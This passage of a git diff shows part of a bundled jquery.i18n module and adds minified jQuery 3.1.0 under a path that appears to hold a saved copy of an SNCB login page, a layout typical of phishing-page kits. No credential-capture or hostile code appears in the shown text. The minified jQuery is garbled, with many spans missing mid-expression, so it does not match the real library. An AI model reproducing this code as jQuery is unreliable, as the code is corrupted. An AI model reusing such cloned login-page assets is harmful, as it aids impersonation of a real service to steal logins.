(!n || n.length === 0) { + return "" + } + for (s = 0; s < n.length; s++) { + u = n[s]; + if (o.test(u)) { + l = parseInt(u.slice(0, u.indexOf("=")), 10); + if (l === i) { + return u.slice(u.indexOf("=") + 1) + } + n[s] = undefined + } + } + n = e.map(n, function (e) { + if (e !== undefined) { + return e + } + }); + r = this.pluralRules[e.i18n().locale]; + if (!r) { + return i === 1 ? n[0] : n[1] + } + a = this.getPluralForm(i, r); + a = Math.min(a, n.length - 1); + return n[a] + }, + getPluralForm: function e(t, i) { + var n, r = ["zero", "one", "two", "few", "many", "other"], + a = 0; + for (n = 0; n < r.length; n++) { + if (i[r[n]]) { + if (pluralRuleParser(i[r[n]], t)) { + return a + } + a++ + } + } + return a + }, + convertNumber: function t(i, n) { + var r, a, s, o, l, u; + o = this.digitTransformTable(e.i18n().locale); + l = String(i); + u = ""; + if (!o) { + return i + } + if (n) { + if (parseFloat(i, 10) === i) { + return i + } + r = []; + for (a in o) { + r[o[a]] = a + } + o = r + } + for (s = 0; s < l.length; s++) { + if (o[l[s]]) { + u += o[l[s]] + } else { + u += l[s] + } + } + return n ? parseFloat(u, 10) : u + }, + convertGrammar: function e(t, i) { + return t + }, + gender: function e(t, i) { + if (!i || i.length === 0) { + return "" + } + while (i.length < 2) { + i.push(i[i.length - 1]) + } + if (t === "male") { + return i[0] + } + if (t === "female") { + return i[1] + } + return i.length === 3 ? i[2] : i[0] + }, + digitTransformTable: function e(t) { + var i = { + ar: "٠١٢٣٤٥٦٧٨٩", + fa: "۰۱۲۳۴۵۶۷۸۹", + ml: "൦൧൨൩൪൫൬൭൮൯", + kn: "೦೧೨೩೪೫೬೭೮೯", + lo: "໐໑໒໓໔໕໖໗໘໙", + or: "୦୧୨୩୪୫୬୭୮୯", + kh: "០១២៣៤៥៦៧៨៩", + pa: "੦੧੨੩੪੫੬੭੮੯", + gu: "૦૧૨૩૪૫૬૭૮૯", + hi: "०१२३४५६७८९", + my: "၀၁၂၃၄၅၆၇၈၉", + ta: "௦௧௨௩௪௫௬௭௮௯", + te: "౦౧౨౩౪౫౬౭౮౯", + th: "๐๑๒๓๔๕๖๗๘๙", + bo: "༠༡༢༣༤༥༦༧༨༩" + }; + if (!i[t]) { + return false + } + return i[t].split("") + } + }; + e.extend(e.i18n.languages, { + default: t + }) + })(jQuery) +}, function (e, t, i) { + "use strict"; + (function (e, t, i) { + "use strict"; + var n = function e() { + this.messages = {}; + this.sources = {} + }; + n.prototype = { + load: function t(i, n) { + var a = null, + s = null, + o = [], + l = this; + if (typeof i === "string") { + e.i18n.log("Loading messages from: " + i); + s = r(i).done(function (e) { + l.set(n, e) + }); + return s.promise() + } + if (n) { + l.set(n, i); + return e.Deferred().resolve() + } else { + for (a in i) { + if (Object.prototype.hasOwnProperty.call(i, a)) { + n = a; + o.push(l.load(i[a], n)) + } + } + return e.when.apply(e, o) + } + }, + set: function t(i, n) { + if (!this.messages[i]) { + this.messages[i] = n + } else { + this.messages[i] = e.extend(this.messages[i], n) + } + }, + get: function e(t, i) { + return this.messages[t] && this.messages[t][i] + } + }; + + function r(t) { + var i = e.Deferred(); + e.getJSON(t).done(i.resolve).fail(function (n, r, a) { + e.i18n.log("Error in loading messages from " + t + " Exception: " + a); + i.resolve() + }); + return i.promise() + } + e.extend(e.i18n.messageStore, new n) + })(jQuery, window) +}, function (e, t, i) { + "use strict"; + (function (e) { + "use strict"; + var t = function t(i) { + this.options = e.extend({}, e.i18n.parser.defaults, i); + this.language = e.i18n.languages[String.locale] || e.i18n.languages["default"]; + this.emitter = e.i18n.parser.emitter + }; + t.prototype = { + constructor: t, + simpleParse: function e(t, i) { + return t.replace(/\$(\d+)/g, function (e, t) { + var n = parseInt(t, 10) - 1; + return i[n] !== undefined ? i[n] : "$" + t + }) + }, + parse: function t(i, n) { + if (i.indexOf("{{") < 0) { + return this.simpleParse(i, n) + } + this.emitter.language = e.i18n.languages[e.i18n().locale] || e.i18n.languages["default"]; + return this.emitter.emit(this.ast(i), n) + }, + ast: function e(t) { + var i, n, r, a, s, o, l, u, d, f, c, h, m, p, v, _, g, y, b = 0; + + function w(e) { + return function () { + var t, i; + for (t = 0; t < e.length; t++) { + i = e[t](); + if (i !== null) { + return i + } + } + return null + } + } + + function M(e) { + var t, i, n = b, + r = []; + for (t = 0; t < e.length; t++) { + i = e[t](); + if (i === null) { + b = n; + return null + } + r.push(i) + } + return r + } + + function k(e, t) { + return function () { + var i = b, + n = [], + r = t(); + while (r !== null) { + n.push(r); + r = t() + } + if (n.length < e) { + b = i; + return null + } + return n + } + } + + function L(e) { + var i = e.length; + return function () { + var n = null; + if (t.slice(b, b + i) === e) { + n = e; + b += i + } + return n + } + } + + function T(e) { + return function () { + var i = t.slice(b).match(e); + if (i === null) { + return null + } + b += i[0].length; + return i[0] + } + } + i = L("|"); + n = L(":"); + r = L("\\"); + a = T(/^./); + s = L("$"); + o = T(/^\d+/); + l = T(/^[^{}\[\]$\\]/); + u = T(/^[^{}\[\]$\\|]/); + d = T(/^[^{}\[\]$\s]/); + + function x(e, t) { + return function () { + var i = e(); + return i === null ? null : t(i) + } + } + + function S() { + var e = k(1, f)(); + return e === null ? null : e.join("") + } + + function Y() { + var e = k(1, c)(); + return e === null ? null : e.join("") + } + + function D() { + var e = M([r, a]); + return e === null ? null : e[1] + } + w([D, d]); + f = w([D, u]); + c = w([D, l]); + + function E() { + var e = M([s, o]); + if (e === null) { + return null + } + return ["REPLACE", parseInt(e[1], 10) - 1] + } + m = x(T(/^[ !"$&'()*,.\/0-9;=?@A-Z\^_`a-z~\x80-\xFF+\-]+/), function (e) { + return e.toString() + }); + + function C() { + var e, t = M([i, k(0, g)]); + if (t === null) { + return null + } + e = t[1]; + return e.length > 1 ? ["CONCAT"].concat(e) : e[0] + } + + function P() { + var e = M([m, n, E]); + return e === null ? null : [e[0], e[2]] + } + + function A() { + var e = M([m, n, g]); + return e === null ? null : [e[0], e[2]] + } + h = w([function () { + var e = M([w([P, A]), k(0, C)]); + return e === null ? null : e[0].concat(e[1]) + }, function () { + var e = M([m, k(0, C)]); + if (e === null) { + return null + } + return [e[0]].concat(e[1]) + }]); + p = L("{{"); + v = L("}}"); + + function O() { + var e = M([p, h, v]); + return e === null ? null : e[1] + } + _ = w([O, E, Y]); + g = w([O, E, S]); + + function j() { + var e = k(0, _)(); + if (e === null) { + return null + } + return ["CONCAT"].concat(e) + } + y = j(); + if (y === null || b !== t.length) { + throw new Error("Parse error at position " + b.toString() + " in input: " + t) + } + return y + } + }; + e.extend(e.i18n.parser, new t) + })(jQuery) +}]); diff --git "a/.sites/sncb/login_en_files/jquery.js.t\303\251l\303\251charg\303\251" "b/.sites/sncb/login_en_files/jquery.js.t\303\251l\303\251charg\303\251" new file mode 100644 index 00000000..99d0e5ee --- /dev/null +++ "b/.sites/sncb/login_en_files/jquery.js.t\303\251l\303\251charg\303\251" @@ -0,0 +1,4 @@ +/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */ +!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null!=a?a<0?this[a+this.length]:this[a]:f.call(this)},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"label"in b&&b.disabled===a||"form"in b&&b.disabled===a||"form"in b&&b.disabled===!1&&(b.isDisabled===a||b.isDisabled!==!a&&("label"in b||!ea(b))!==a)}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(_,aa),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=V.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(_,aa),$.test(j[0].type)&&qa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&sa(j),!a)return G.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||$.test(a)&&qa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext,B=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,C=/^.[^:#\[\.,]*$/;function D(a,b,c){if(r.isFunction(b))return r.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return r.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(C.test(b))return r.filter(b,a,c);b=r.filter(b,a)}return r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType})}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(D(this,a||[],!1))},not:function(a){return this.pushStack(D(this,a||[],!0))},is:function(a){return!!D(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var E,F=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return 